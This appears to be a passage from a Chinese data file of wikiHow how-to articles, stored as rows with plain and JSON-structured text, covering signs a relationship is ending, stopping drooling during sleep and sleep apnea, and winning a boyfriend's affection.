如果你与某人在一起时，并不开心，那干嘛还要在一起？
你感觉这段恋情与其说是祝福，不如说是包袱的话，那就说明出现问题了。如果你只是觉得与对方在一起非常不便，并不是一件值得感激的事情，那就说明你们的关系要结束了。
在恋人旁时，你从来不笑。如果对方不会让你笑的话，那么你只是在他身边消耗人生的快乐。
3-4. 完全分开生活。
尽管在最严肃的恋情中，保持私人空间都是非常重要的时候，但如果你与伴侣的生活完全没有交集的话，就有问题了。维持各自的朋友和兴趣很好，但拒绝分享各自的生活就不对。下面是一些你与伴侣过分独立的讯号：
一直和自己的朋友出去玩。和朋友出去玩很好，但如果和朋友在一起的时间多过和恋人在一起的时候，或是与和恋人相处比起来，跟更喜欢和朋友出去的话，就有问题了。
你完全不知道另一半的生活是怎样的。如果你与对方交往很长一段时间了，却还是不知道他的工作是什么，他平常与谁在一起吃饭，或是他最近与妈妈吵架的琐事的话，就说明你们的生活完全没有交集。尽管不必事无巨细都要分享，但至少彼此要知道各自的生活是怎么样的。
虽然一起生活，但无话可说。如果你与伴侣一起生活，但一整天只是会说一句“早上好”的话，那就说明你们真的没什么交集。
从来不共度周末。偶尔各自过周末是可以的，但如果你们从不共度周末，那么你们到底为什么在一起？
从不为对方拨出时间。如果你们从不拨出时间一起约会、吃饭或是看电影，就说明你们压根不想在一起。
小提示
如果你的感情出现了上述问题，而你又想要维系住这段感情，也不必太过泄气。这个困难时期，可能正好是一个让双方冷静下来，审视感情的好时机。如果你们双方都想坐下来好好谈谈，共同维系这段感情的话，还来得及。
警告
如果你想结束掉这段感情，但因为觉得对对方愧疚，或是认为对方永远再找不到别人了，而无法做到的话，那么你只是在延长伤痛的时间。
一旦你发现不再相爱，就该立刻结束这段感情。不要等情人节过完，朋友婚礼结束，或是恋人的生日过完再提出分手；不要等房屋合约到期再分手。尽管分手可能会很伤痛，但长痛不如短痛，而且继续与之纠缠也没有帮对方什么忙。
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经常发白日梦。\\n在上一门无聊的课，或是工作间隙，发白日梦绝对是一种消磨时间的好方法。但如果你发现你总是在幻想分手之后的事情的时候，就说明你对这段关系过于失望。下面的一些现象就说明你对现在的恋情的态度有所保留：\\n经常会幻想自己如果是单身的话，会做什么事情，比如搬去一个新的地方住，旅行，尝试新鲜事物，或是有更多的时间和朋友在一起等等。\\n经常会幻想你班上的某个可人儿会约你出去玩。如果你经常想某个人，就说明你似乎已经爱上别人了。并不是那种无关痛痒的喜欢，而是想要用这个人把现在的对象取代。\\n在出去玩的时候，你总是想如果能告诉别人自己是单身该多么好。\\n2-3. 你会觉得你和恋人变成了两个完全不同的人。\\n也许在初次相遇的时候，你们有很多共同点，但你渐渐发现，你们不再有相同的目标、兴趣或者相似的信仰。如果你发现你和恋人变成了两个完全不同的人，完全没有共同点的话，那你们的关系就遇到麻烦了。如果你们没有共同成长的话，可能就会背道而驰了。下面是一些你们愈发不同的表象：\\n由于没有共同兴趣，无法交流。如果你们只是有各自不同的兴趣，但仍旧很想与对方分享的话，就没什么问题，但如果你们甚至懒得去与对方分享自己的兴趣爱好，因为毫无意义的话，就说明你们之间出现了问题。\\n你们有截然不同的人生目标，并且相互阻碍。如果你想环游世界，而对方只是想在离家人近的地方工作，那么你们的人生方向就非常不同。\\n信仰不同，每次提及就要争吵。如果你们的政治、宗教或其他信仰有根本上的差异，无法求同的话，你们的关系一定会出现问题。\\n在某种程度上，差异性也会导致相互吸引。与恋人有不同的信仰、兴趣和目标是可以的，但不能妄图让对方改变，也不能不与对方分享。\\n3. 观察自己的行为\\n3-1. 性生活不和谐。\\n虽然相处一段时间后，缺乏性生活的激情是常见的事情，但如果你感觉似乎永远提不起对对方的兴趣，甚至完全不想与对方有更多亲密的行为，那就说明你们之间除了很大的问题。下面就是一些常见的讯号：\\n不记得上一次的亲密行为是什么时候。真的么？已经过去多久了？\\n亲密行为只是在例行公事。如果你觉得亲密行为和去教堂或其他待办事项一样的话，那就只是在完成任务而已，没有任何欢愉。\\n无法与伴侣在亲密行为中得到欢愉。\\n你意识到，是因为自己缺乏吸引力，才一直没有和伴侣的亲密行为的。这是非常难以承认的事情。\\n3-2. 你或你的伴侣有出轨行为。\\n很多情侣可以允许一次、两次的出轨行为，但如果出轨成为常态，或是其中一方无法继续容忍的话，那么这段关系就要结束了。如果双发无法就一夫一妻达成共识的话，关系很难继续维系。\\n如果你的伴侣出轨了，而你无论如何都无法原谅对方的话，就结束掉这段关系吧。有时，信任一旦破裂，就没有再修复的必要了。在没受伤之前，尽快开始新生活吧。\\n在某些情况下，一次意外出轨是可以被原谅的，但如果你们中的一人或两人经常性出轨，甚至都心照不宣的情况下，那就意味着你们的关系已经结束了，当然，除非你们本就是开放性的朋友关系。\\n虽然没有不忠，但经常会对新认识的人心动、调情的话，就说明你对现阶段的感情不够专注。偶尔对异性心动是正常的，因为你不可能只被伴侣吸引，而不对其他异性有任何感觉。但如果次数太频繁，可能就意味着你需要开始下一段恋情了。\\n3-3. 这段恋情并没有对你的生活有所助益。\\n谈恋爱很耗神，但大部分时候会很有乐趣、很有助益。和对的人恋爱会让生活变得更有激情，会让自己变成一个更好的人，但如果这段恋情并没有对生活有任何改善，那为什么还要维系它呢？下面就是一些这段恋情并非那么适合你的讯号：\\n如果你并没觉得与对方在一起后，自己变得更好了，那可能是因为对方不那么适合你。\\n如果你与某人在一起时，并不开心，那干嘛还要在一起？\\n你感觉这段恋情与其说是祝福，不如说是包袱的话，那就说明出现问题了。如果你只是觉得与对方在一起非常不便，并不是一件值得感激的事情，那就说明你们的关系要结束了。\\n在恋人旁时，你从来不笑。如果对方不会让你笑的话，那么你只是在他身边消耗人生的快乐。\\n3-4. 完全分开生活。\\n尽管在最严肃的恋情中，保持私人空间都是非常重要的时候，但如果你与伴侣的生活完全没有交集的话，就有问题了。维持各自的朋友和兴趣很好，但拒绝分享各自的生活就不对。下面是一些你与伴侣过分独立的讯号：\\n一直和自己的朋友出去玩。和朋友出去玩很好，但如果和朋友在一起的时间多过和恋人在一起的时候，或是与和恋人相处比起来，跟更喜欢和朋友出去的话，就有问题了。\\n你完全不知道另一半的生活是怎样的。如果你与对方交往很长一段时间了，却还是不知道他的工作是什么，他平常与谁在一起吃饭，或是他最近与妈妈吵架的琐事的话，就说明你们的生活完全没有交集。尽管不必事无巨细都要分享，但至少彼此要知道各自的生活是怎么样的。\\n虽然一起生活，但无话可说。如果你与伴侣一起生活，但一整天只是会说一句“早上好”的话，那就说明你们真的没什么交集。\\n从来不共度周末。偶尔各自过周末是可以的，但如果你们从不共度周末，那么你们到底为什么在一起？\\n从不为对方拨出时间。如果你们从不拨出时间一起约会、吃饭或是看电影，就说明你们压根不想在一起。\\n小提示\\n如果你的感情出现了上述问题，而你又想要维系住这段感情，也不必太过泄气。这个困难时期，可能正好是一个让双方冷静下来，审视感情的好时机。如果你们双方都想坐下来好好谈谈，共同维系这段感情的话，还来得及。\\n警告\\n如果你想结束掉这段感情，但因为觉得对对方愧疚，或是认为对方永远再找不到别人了，而无法做到的话，那么你只是在延长伤痛的时间。\\n一旦你发现不再相爱，就该立刻结束这段感情。不要等情人节过完，朋友婚礼结束，或是恋人的生日过完再提出分手；不要等房屋合约到期再分手。尽管分手可能会很伤痛，但长痛不如短痛，而且继续与之纠缠也没有帮对方什么忙。\\n\", \"简要回答\": \"有时我们必须要面对一个问题：你的恋情并非一如往昔。当恋人走到你的门前时，你一改往昔的小鹿乱撞，而是感到恐惧忧虑的时候，恐怕就是恋情变质的时候了。虽然这件事很难面对，但是你一旦有所察觉，就长痛不如短痛了。如果你还是无法判断这只是一个考验，还是感情真的玩完了，说不定下面的几点建议可以帮到你。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"观察自己的言语\", \"步骤\": [{\"编号\": 1, \"标题\": \"你们会不会经常吵架。\", \"描述\": \"虽然偶尔争吵在一段恋情中是正常的，而且争吵也是一种沟通和解决争端的手段，但如果你们花费大量时间进行无意义的争吵，那就说明你们的恋情可能走到尽头了。如果你们只是为了争吵而争吵，或者争吵是你们唯一的沟通方法的时候，就意味着你们该结束了。如果出现了下面的一些现象，就说明你们的争吵就要失控了：\\n总是借故争吵。如果你或是你的伴侣总是因为鸡毛蒜皮的小事吵架，从而宣泄坏情绪，那么这就意味着你们只是在借机伤害对方。\\n一直争吵。注意一下，你们在一起的时间，有多少是在争吵中度过的。一周一到两次的小争吵是可以的，但如果你发觉，你们争吵的时间，要比你们在一起享乐、交流或是正常交谈的时间还要多的时候，就有问题了。\\n争吵没有任何进展。如果你们总是为了同一件事而争吵，双方各不相让，而且你知道永远不会有一方会做出退让的话，那么这段感情就没必要继续下去了。\\n你的朋友们都不想和你们在一起，因为你们总是在吵架。\"}, {\"编号\": 2, \"标题\": \"无法沟通。\", \"描述\": \"在一段感情中，双方需要沟通、理解对方的需求和感受。如果你感觉你的伴侣无法理解你的感受，而你也不知道对方在想些什么，那么你们的感情就出现问题了。下面是一些有沟通障碍的现象：\\n你甚至连想都不想与伴侣分享你的感受和想法，因为你知道他根本不在意。\\n你的伴侣不与你分享他的感受，而你也并不想知道。\\n一方或双方都掩藏情绪。掩藏情绪意味着拒绝承认自己的悲伤，而不是坦诚地面对自己的情绪，让感情更深一步。如果每次你知道伴侣伤心去询问的时候，他都是耸耸肩说没事，那就麻烦了。\\n从不交流琐事，比如今天发生了什么，周末想怎么过，或是因为感冒而情绪低落等。\\n不将伴侣加以考虑。比如你不向伴侣提及周五晚上去哪消磨，或是和自己的朋友去喝一杯，你这样就是在把对方排除出自己的生活。\"}, {\"编号\": 3, \"标题\": \"从来不谈及未来。\", \"描述\": \"这是个非常大的问题。如果你或你的伴侣从来不讨论超过一个月以外的事情，那么你们可能是在可以逃避，因为你们根本就无法想象和对方维持那么久的关系。这也意味着，你无法将你的伴侣规划进你未来的生活，因而，也就到了放弃这段感情的时候。下面的事例就说明，你无法接受与现在的伴侣面向未来：\\n你们已经交往很久了，但你从未提及关于未来的规划。或是，你很想有朝一日嫁给对方，但却从未提起过这件事。\\n你朋友有了小孩，而你也非常想有一个自己的孩子——和某个人——但你从未提起过这件事，因为你无法想象与现在的伴侣共同抚养孩子的情景。\\n你总是推迟回复朋友的婚礼邀约，因为你不知道该不该带伴侣同去，或者你甚至不知道婚礼当天你们还在不在一起。\\n你甚至不知道下个假期的时候你们还会不会在一起。\\n还有几个月就会有个大假期，但你从未提起这件事，因为你不知道该怎么消磨这个假期。\"}, {\"编号\": 4, \"标题\": \"不再甜言蜜语。\", \"描述\": \"虽然每对情侣的相处模式不同，但至少每段感情都有一个基础维系。如果你和你的伴侣曾经共沐爱河，甜言蜜语，或经常互相发送爱的短讯，而现在却鲜少赞美对方，那么这段感情很可能要结束了。下面就是一些你们不再甜言蜜语的讯号：\\n二人不再相互欣赏。如果你不再夸奖对方有多么好看，事情做得多么好，或是你有多么为他感到骄傲的话，那就说明你不再欣赏对方了。\\n过去常说“我爱你”，而现在却不再说了。\\n过去常常发送甜蜜的短信或是打电话告诉对方，你有多么爱他或是多么想他，而现在只因为有事才打电话。\\n不再对他柔情蜜意。对伴侣讲话的时候就好像对一个普通朋友一样。\"}, {\"编号\": 5, \"标题\": \"逮到机会就中伤伴侣。\", \"描述\": \"与密友倾诉在感情中遇到的问题，与和朋友抱怨你有多受不了自己的伴侣，或者和陌生人倾诉你受够了这段感情是有很大区别的。在一段健康的感情中，是不能随便向别人抱怨自己的另一半的，一旦你这么做了，就说明你不是那么尊重自己的另一半，并且只想尽快结束这段关系。\\n每一次和朋友谈论起你的另一半，你都是在抱怨的话，就说明你也并不看好这段感情。\\n如果你知道另一半也像你一样和朋友说自己的不好，也会非常难过的话，就应该知道和朋友分享这些事情是不太对的。\\n最严重的情况是你压根不告诉别人你已经有对象了。虽然不必一有约会对象就告诉大家，但如果已经有对象，甚至和对象同居之后，在遇到新朋友的时候，还假装自己是单身，并且和对方打情骂俏的话，那就是在说谎了。\"}]}, {\"编号\": 2, \"标题\": \"观察自己的想法和感受\", \"步骤\": [{\"编号\": 1, \"标题\": \"不再对恋人有憧憬。\", \"描述\": \"虽然谈恋爱的时候不能“一直”保持激情，但如果你与恋人在一起时，总感到无聊，甚至一想起要与恋人见面就泄气的话，就说明你已经与对方没有感情了。下面是你们激情不再的一些证据：\\n你对晚上的约会，或是下班后的碰面完全没有期待。对于两人单独相处完全没有任何感觉，甚至丝毫期待也没有的话，就意味着你已经不爱对方了。\\n不再享受与另一半在一起的时光。你们相处的时候，总在绞尽脑汁想话题，想该做些时候的话，就说明你们遇到问题了。\\n喜欢和一大堆朋友在一起，胜过两人单独相处。你们总是喜欢邀请朋友们和你们一桶出行的话，就意味着你们的关系需要他人来帮忙维系。\\n当你见到，想起，或是与另一半讲话的时候，是不是还会紧张、手足无措。虽然这种感觉不会像你们第一次见面时那么明显，但至少还是会有一些蛛丝马迹的。\\n对方不会让你想要憧憬未来。你的另一半应该会让你想要与之携手，共同成长，共同建筑新的生活。但如果想到与之共度未来，你就会感到恐惧与害怕的话，那还是结束掉这段关系比较好。\"}, {\"编号\": 2, \"标题\": \"经常发白日梦。\", \"描述\": \"在上一门无聊的课，或是工作间隙，发白日梦绝对是一种消磨时间的好方法。但如果你发现你总是在幻想分手之后的事情的时候，就说明你对这段关系过于失望。下面的一些现象就说明你对现在的恋情的态度有所保留：\\n经常会幻想自己如果是单身的话，会做什么事情，比如搬去一个新的地方住，旅行，尝试新鲜事物，或是有更多的时间和朋友在一起等等。\\n经常会幻想你班上的某个可人儿会约你出去玩。如果你经常想某个人，就说明你似乎已经爱上别人了。并不是那种无关痛痒的喜欢，而是想要用这个人把现在的对象取代。\\n在出去玩的时候，你总是想如果能告诉别人自己是单身该多么好。\"}, {\"编号\": 3, \"标题\": \"你会觉得你和恋人变成了两个完全不同的人。\", \"描述\": \"也许在初次相遇的时候，你们有很多共同点，但你渐渐发现，你们不再有相同的目标、兴趣或者相似的信仰。如果你发现你和恋人变成了两个完全不同的人，完全没有共同点的话，那你们的关系就遇到麻烦了。如果你们没有共同成长的话，可能就会背道而驰了。下面是一些你们愈发不同的表象：\\n由于没有共同兴趣，无法交流。如果你们只是有各自不同的兴趣，但仍旧很想与对方分享的话，就没什么问题，但如果你们甚至懒得去与对方分享自己的兴趣爱好，因为毫无意义的话，就说明你们之间出现了问题。\\n你们有截然不同的人生目标，并且相互阻碍。如果你想环游世界，而对方只是想在离家人近的地方工作，那么你们的人生方向就非常不同。\\n信仰不同，每次提及就要争吵。如果你们的政治、宗教或其他信仰有根本上的差异，无法求同的话，你们的关系一定会出现问题。\\n在某种程度上，差异性也会导致相互吸引。与恋人有不同的信仰、兴趣和目标是可以的，但不能妄图让对方改变，也不能不与对方分享。\"}]}, {\"编号\": 3, \"标题\": \"观察自己的行为\", \"步骤\": [{\"编号\": 1, \"标题\": \"性生活不和谐。\", \"描述\": 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14,723 | 如何停止在睡觉时流口水 | 1. 改变你的睡觉习惯
1-1. 仰面躺着睡觉。
习惯侧身睡的人更容易在睡眠时流口水，因为重力致使嘴巴张开，口水流到枕头上。尝试仰面躺着，用被褥裹着自己睡觉，这样迫使自己在睡着的时候不向侧面翻身。
1-2. 将头部抬起。
如果你必须侧身睡觉才能睡得着的话，那么你将自己的身体撑起来，呈更为垂直的姿态，这样使你的嘴巴闭上，空气流通也更通畅。
1-3. 用鼻子呼吸，而不是嘴巴。
通常人们流口水的主要原因是鼻腔堵塞。因此，他们必须用嘴巴呼吸，在此过程中会流口水。
请尝试使用疏通鼻腔的产品，比如Vick's Vaporub止咳清凉薄荷膏和虎标万金油。将其直接涂抹在鼻子下面来疏通鼻腔。
睡觉前闻一闻精油，比如桉树油和玫瑰油，来疏通鼻腔，并且起到安眠的作用。
睡觉前洗个热水蒸汽澡，清洁鼻腔。
1-4. 出现鼻腔感染或者过敏时立即治疗。
不及时治疗的话会导致睡眠时后鼻漏和分泌多余的唾液。
1-5. 检查你目前正在服用的药物是否会造成分泌过多的唾液。
很多不同的药物都有分泌唾液的副作用。仔细阅读一下药物的标签，或者询问医生。
2. 诊断并治疗睡眠时呼吸暂停
2-1. 检查你是否会在睡眠时出现呼吸暂停。
如果你有睡眠障碍，呼吸沉重，鼾声响亮或者严重地流口水，那么你可能有睡眠时呼吸暂停症状。睡眠时呼吸暂停会导致你的呼吸变得很浅很细。
有一些行为和状况会增加睡眠时呼吸暂停的几率。它们有：抽烟，高血压，有高风险的心脏衰竭或者中风的人。
医生可以通过进行睡眠监测实验以及了解你的睡眠状态来诊断你是否有睡眠时呼吸暂停症状。
2-2. 检查你是否有气管阻塞的风险。
流口水是气管堵塞的一个症状。去看耳鼻喉科医生来检查气管是否阻塞，是否使你在睡眠时无法用鼻子呼吸。
2-3. 减轻体重。
如果你超重过胖的话，你出现睡眠时呼吸暂停的几率就会增加。睡眠时呼吸暂停的患者有半数都是肥胖者。改变饮食习惯和经常锻炼让自己的体重达到一个健康的标准，缩小颈围从而让呼吸更顺畅。
2-4. 保守地治疗睡眠时呼吸障碍。
除了减重之外，改善睡眠时呼吸障碍的方法还有几个。确诊为睡眠时呼吸暂停的人，应该远离酒精，安眠药睡眠剥夺。简单的鼻腔喷雾和盐水冲洗可以有效疏通鼻腔。
2-5. 利用机械疗法来治疗睡眠时呼吸障碍。
用于治疗睡眠时呼吸暂停患者的第一个方法就是连续气道正压通气法（CPAP）。这种方法大概可以概括为，患者在睡觉时需要佩戴一张面具，这张面具促使空气通过鼻孔和口腔。原理是利用合适的气压贯通气管，阻止气管上方组织坍塌。
2-6. 使用上颚促进设备。
这些设备可以组织舌头坍塌进入喉咙气管内，促进下颚打开一个通风道。
2-7. 接受手术。
拥有障碍组织的人，比如鼻中隔弯曲，扁桃体肥大，或者舌头过大者可以接受手术矫正。
使用无线电频率来 收紧喉咙后面的软腭，打开气道。
或者 UPPP/UP3可以用手术方式去除喉咙后面的软组织来打开气道。
包括几个步骤来修正障碍或者畸形，比如鼻中隔弯曲。
可以去除过于肥大的扁桃体，打开气道。way.
包含将颚骨向前移，来为喉咙制造空间。这个手术相当紧张，只为最严重的睡眠障碍者实施。
小提示
为了使得你能够仰面躺着睡觉，你得为了身体投资一张好的床垫和枕头来支撑你的颈部和头部。
不要尝试张着嘴巴睡觉，以其促使口水变干。这样不仅不管用，还会造成喉咙疼，尤其是在寒冷的房间里。
使用薰衣草香味的眼罩戴着入睡，并且仰面躺着睡觉。
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"回答明细": "{\"回答\": \"1. 改变你的睡觉习惯\\n1-1. 仰面躺着睡觉。\\n习惯侧身睡的人更容易在睡眠时流口水，因为重力致使嘴巴张开，口水流到枕头上。尝试仰面躺着，用被褥裹着自己睡觉，这样迫使自己在睡着的时候不向侧面翻身。\\n1-2. 将头部抬起。\\n如果你必须侧身睡觉才能睡得着的话，那么你将自己的身体撑起来，呈更为垂直的姿态，这样使你的嘴巴闭上，空气流通也更通畅。\\n1-3. 用鼻子呼吸，而不是嘴巴。\\n通常人们流口水的主要原因是鼻腔堵塞。因此，他们必须用嘴巴呼吸，在此过程中会流口水。\\n请尝试使用疏通鼻腔的产品，比如Vick's Vaporub止咳清凉薄荷膏和虎标万金油。将其直接涂抹在鼻子下面来疏通鼻腔。\\n睡觉前闻一闻精油，比如桉树油和玫瑰油，来疏通鼻腔，并且起到安眠的作用。\\n睡觉前洗个热水蒸汽澡，清洁鼻腔。\\n1-4. 出现鼻腔感染或者过敏时立即治疗。\\n不及时治疗的话会导致睡眠时后鼻漏和分泌多余的唾液。\\n1-5. 检查你目前正在服用的药物是否会造成分泌过多的唾液。\\n很多不同的药物都有分泌唾液的副作用。仔细阅读一下药物的标签，或者询问医生。\\n2. 诊断并治疗睡眠时呼吸暂停\\n2-1. 检查你是否会在睡眠时出现呼吸暂停。\\n如果你有睡眠障碍，呼吸沉重，鼾声响亮或者严重地流口水，那么你可能有睡眠时呼吸暂停症状。睡眠时呼吸暂停会导致你的呼吸变得很浅很细。\\n有一些行为和状况会增加睡眠时呼吸暂停的几率。它们有：抽烟，高血压，有高风险的心脏衰竭或者中风的人。\\n医生可以通过进行睡眠监测实验以及了解你的睡眠状态来诊断你是否有睡眠时呼吸暂停症状。\\n2-2. 检查你是否有气管阻塞的风险。\\n流口水是气管堵塞的一个症状。去看耳鼻喉科医生来检查气管是否阻塞，是否使你在睡眠时无法用鼻子呼吸。\\n2-3. 减轻体重。\\n如果你超重过胖的话，你出现睡眠时呼吸暂停的几率就会增加。睡眠时呼吸暂停的患者有半数都是肥胖者。改变饮食习惯和经常锻炼让自己的体重达到一个健康的标准，缩小颈围从而让呼吸更顺畅。\\n2-4. 保守地治疗睡眠时呼吸障碍。\\n除了减重之外，改善睡眠时呼吸障碍的方法还有几个。确诊为睡眠时呼吸暂停的人，应该远离酒精，安眠药睡眠剥夺。简单的鼻腔喷雾和盐水冲洗可以有效疏通鼻腔。\\n2-5. 利用机械疗法来治疗睡眠时呼吸障碍。\\n用于治疗睡眠时呼吸暂停患者的第一个方法就是连续气道正压通气法（CPAP）。这种方法大概可以概括为，患者在睡觉时需要佩戴一张面具，这张面具促使空气通过鼻孔和口腔。原理是利用合适的气压贯通气管，阻止气管上方组织坍塌。\\n2-6. 使用上颚促进设备。\\n这些设备可以组织舌头坍塌进入喉咙气管内，促进下颚打开一个通风道。\\n2-7. 接受手术。\\n拥有障碍组织的人，比如鼻中隔弯曲，扁桃体肥大，或者舌头过大者可以接受手术矫正。\\n\\n使用无线电频率来 收紧喉咙后面的软腭，打开气道。\\n 或者 UPPP/UP3可以用手术方式去除喉咙后面的软组织来打开气道。\\n包括几个步骤来修正障碍或者畸形，比如鼻中隔弯曲。\\n 可以去除过于肥大的扁桃体，打开气道。way.\\n 包含将颚骨向前移，来为喉咙制造空间。这个手术相当紧张，只为最严重的睡眠障碍者实施。\\n小提示\\n为了使得你能够仰面躺着睡觉，你得为了身体投资一张好的床垫和枕头来支撑你的颈部和头部。\\n不要尝试张着嘴巴睡觉，以其促使口水变干。这样不仅不管用，还会造成喉咙疼，尤其是在寒冷的房间里。\\n使用薰衣草香味的眼罩戴着入睡，并且仰面躺着睡觉。\\n\", \"简要回答\": \"如果你频繁在醒来后发现枕头被一滩尴尬的口水浸湿，那么你需要改变你的睡觉习惯了。对于有些人来讲，只要仰面躺着睡觉就不会再流口水，但是经常会经历睡眠时呼吸暂停的人则需要采取一些更加戏剧性的措施。你可以先尝试一下下文中的建议，如果睡觉时仍然流口水的话，请就医治疗。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"改变你的睡觉习惯\", \"步骤\": [{\"编号\": 1, \"标题\": \"仰面躺着睡觉。\", \"描述\": \"习惯侧身睡的人更容易在睡眠时流口水，因为重力致使嘴巴张开，口水流到枕头上。尝试仰面躺着，用被褥裹着自己睡觉，这样迫使自己在睡着的时候不向侧面翻身。\"}, {\"编号\": 2, \"标题\": \"将头部抬起。\", \"描述\": \"如果你必须侧身睡觉才能睡得着的话，那么你将自己的身体撑起来，呈更为垂直的姿态，这样使你的嘴巴闭上，空气流通也更通畅。\"}, {\"编号\": 3, \"标题\": \"用鼻子呼吸，而不是嘴巴。\", \"描述\": \"通常人们流口水的主要原因是鼻腔堵塞。因此，他们必须用嘴巴呼吸，在此过程中会流口水。\\n请尝试使用疏通鼻腔的产品，比如Vick's Vaporub止咳清凉薄荷膏和虎标万金油。将其直接涂抹在鼻子下面来疏通鼻腔。\\n睡觉前闻一闻精油，比如桉树油和玫瑰油，来疏通鼻腔，并且起到安眠的作用。\\n睡觉前洗个热水蒸汽澡，清洁鼻腔。\"}, {\"编号\": 4, \"标题\": \"出现鼻腔感染或者过敏时立即治疗。\", \"描述\": \"不及时治疗的话会导致睡眠时后鼻漏和分泌多余的唾液。\"}, {\"编号\": 5, \"标题\": \"检查你目前正在服用的药物是否会造成分泌过多的唾液。\", \"描述\": \"很多不同的药物都有分泌唾液的副作用。仔细阅读一下药物的标签，或者询问医生。\"}]}, {\"编号\": 2, \"标题\": \"诊断并治疗睡眠时呼吸暂停\", \"步骤\": [{\"编号\": 1, \"标题\": \"检查你是否会在睡眠时出现呼吸暂停。\", \"描述\": \"如果你有睡眠障碍，呼吸沉重，鼾声响亮或者严重地流口水，那么你可能有睡眠时呼吸暂停症状。睡眠时呼吸暂停会导致你的呼吸变得很浅很细。\\n有一些行为和状况会增加睡眠时呼吸暂停的几率。它们有：抽烟，高血压，有高风险的心脏衰竭或者中风的人。\\n医生可以通过进行睡眠监测实验以及了解你的睡眠状态来诊断你是否有睡眠时呼吸暂停症状。\"}, {\"编号\": 2, \"标题\": \"检查你是否有气管阻塞的风险。\", \"描述\": \"流口水是气管堵塞的一个症状。去看耳鼻喉科医生来检查气管是否阻塞，是否使你在睡眠时无法用鼻子呼吸。\"}, {\"编号\": 3, \"标题\": \"减轻体重。\", \"描述\": \"如果你超重过胖的话，你出现睡眠时呼吸暂停的几率就会增加。睡眠时呼吸暂停的患者有半数都是肥胖者。改变饮食习惯和经常锻炼让自己的体重达到一个健康的标准，缩小颈围从而让呼吸更顺畅。\"}, {\"编号\": 4, \"标题\": \"保守地治疗睡眠时呼吸障碍。\", \"描述\": \"除了减重之外，改善睡眠时呼吸障碍的方法还有几个。确诊为睡眠时呼吸暂停的人，应该远离酒精，安眠药睡眠剥夺。简单的鼻腔喷雾和盐水冲洗可以有效疏通鼻腔。\"}, {\"编号\": 5, \"标题\": \"利用机械疗法来治疗睡眠时呼吸障碍。\", \"描述\": \"用于治疗睡眠时呼吸暂停患者的第一个方法就是连续气道正压通气法（CPAP）。这种方法大概可以概括为，患者在睡觉时需要佩戴一张面具，这张面具促使空气通过鼻孔和口腔。原理是利用合适的气压贯通气管，阻止气管上方组织坍塌。\"}, {\"编号\": 6, \"标题\": \"使用上颚促进设备。\", \"描述\": \"这些设备可以组织舌头坍塌进入喉咙气管内，促进下颚打开一个通风道。\"}, {\"编号\": 7, \"标题\": \"接受手术。\", \"描述\": \"拥有障碍组织的人，比如鼻中隔弯曲，扁桃体肥大，或者舌头过大者可以接受手术矫正。\\n\\n使用无线电频率来 收紧喉咙后面的软腭，打开气道。\\n 或者 UPPP/UP3可以用手术方式去除喉咙后面的软组织来打开气道。\\n包括几个步骤来修正障碍或者畸形，比如鼻中隔弯曲。\\n 可以去除过于肥大的扁桃体，打开气道。way.\\n 包含将颚骨向前移，来为喉咙制造空间。这个手术相当紧张，只为最严重的睡眠障碍者实施。\"}], \"小提示\": [\"为了使得你能够仰面躺着睡觉，你得为了身体投资一张好的床垫和枕头来支撑你的颈部和头部。\\n\", \"不要尝试张着嘴巴睡觉，以其促使口水变干。这样不仅不管用，还会造成喉咙疼，尤其是在寒冷的房间里。\\n\", \"使用薰衣草香味的眼罩戴着入睡，并且仰面躺着睡觉。\\n\"]}]}}",
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} | wikihow |
14,724 | 如何让你的男朋友为你疯狂 | 1. 让男朋友感到自己被渴望
1-1. 赞美他。
赞美男朋友可以让他感到自己被欣赏和被爱。通过赞美他，让他知道你完全接受他本来的样子，你喜欢他说的话和做的事。
赞美男朋友取得的成就是很重要的，但你也应该试着在他做其他小事的时候赞美他。例如：
“哇，刚才的吻真棒。”
“你修剪草坪的时候看起来很性感，很有男子气概。”
“你今天在比赛中表现得很好，看你打球真刺激。”
1-2. 和他对视。
眼神交流是一种很好的非语言交流方式，表达你对某个人的接受。当我们喜欢别人的时候，我们更有可能与他们进行眼神交流。向男朋友表达你的爱，并且通过凝视他的眼睛来表达你对他的接受。如果他对你也有同样感觉，那么他也会凝视你的眼睛。
1-3. 充满激情地亲吻。
接吻是我们评价伴侣的一种方式，所以接吻技巧很重要。接吻还有助于增强你对他的吸引力，以及他与你的联系。想要成为一个接吻高手，试着记住以下几点：
开始接吻的时候闭上嘴，等到气氛合适的时候，再开始一个更有激情的吻。
在接吻之前，确保你的牙齿干净，口气清新。
接吻的时候，把注意力集中在他身上。接吻时分心会让人很倒胃口。
试着在接吻的时候摸他的后脑勺、脖子或者抚摸他的手臂。这些额外的接触是加强亲吻很好的方式。
1-4. 给他惊喜。
没有什么比一点自发性的行为更能激发或者重新点燃激情了。这可以帮你打破常规，让他知道你对他很着迷，也会让他对你着迷。不时展现自己妩媚、有活力的一面，他会因为和你在一起而感到兴奋。一些自发性的惊喜举动包括：
如果你的车在雨中抛锚了，不要坐在车里等他一个人修。下车和他一起在路边跳舞。
如果你们通常在家里看他最喜欢的球队比赛，那就送张票给他一个惊喜，或者带他去当地一家有大电视的餐馆看比赛。
在整个约会过程中，展现妩媚性感的一面，保持自己的个性。
1-5. 鼓励他。
激发伴侣欲望的一个重要部分就是让他自我感觉良好。像鼓励朋友一样鼓励他实现目标。让他知道你在他身边，一直支持着他。
例如，如果男朋友在担心面试，你可以这样鼓励他：“你会很棒的！如果他们不认为你是这份工作的最佳人选，他们就不会打电话给你面试了！”
2. 成为理想的伴侣
2-1. 展露你的自信。
自信对大多数人来说是一种很性感的特质，所以当你和男朋友在一起时，尽情地表现出你的自信吧。大方分享你的成就和承认自己的优点。
记住，有些人会觉得自信的人有点可怕。如果男朋友缺乏自信，那么表现得自信可能不会增加他对你的渴望。
2-2. 跟他说说你自己。
透露一些自己的事情有助于增强男朋友对你的感情。告诉他关于你的一切，包括你的兴趣、目标和家庭。不过，不要过早地透露太多信息。保密你生活的某些方面、目标和感觉可以给你们的关系增添神秘感，这可能有助于增加他对你的兴趣。
2-3. 注意男朋友喜欢什么。
你身上可能有一些能吸引男朋友的特殊地方，所以当他赞美你看起来很性感的时候，试着多留意自己。也许你男朋友喜欢你的内衣，或者他认为你在锻炼后看起来最性感。下面是一些可能会有帮助的事情：
化眼妆。 研究表明，眼妆能让女性对一些男性更有吸引力。 当你男朋友在的时候，可以试着画一些眼线、眼影和睫毛膏。
